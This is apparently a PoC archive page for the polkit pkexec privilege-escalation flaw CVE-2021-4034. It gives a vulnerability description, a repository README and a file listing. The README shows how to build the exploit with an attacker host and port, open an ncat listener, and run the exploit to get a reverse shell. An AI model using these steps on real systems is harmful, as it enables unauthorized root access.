CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/Joffr3y/Polkit-CVE-2021-4034-HLP

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

Polkit CVE-2021-4034 exploitation in High-Level Programming Language

Readme

# Polkit-CVE-2021-4034-HLP
Polkit CVE-2021-4034 exploitation in High-Level Programming Language

## Build
```
make LHOST=ip.or.domain.tld LPORT=8000
```

## Usage

Open TCP port listener, example with `ncat` on loopback
```
ncat -vl 127.0.0.1 8000
```

Run exploit
```
php ${ARCH}_exploit.php
python ${ARCH}_exploit.py
```

File Snapshot


 [4.0K]  /data/pocs/e2876ec392e81b884d1373cfd00ecc6a969b9ed8
├── [2.7K]  exploit.c
├── [ 917]  exploit.php.in
├── [ 814]  exploit.py.in
├── [ 34K]  LICENSE
├── [1.3K]  Makefile
└── [ 323]  README.md

0 directories, 6 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!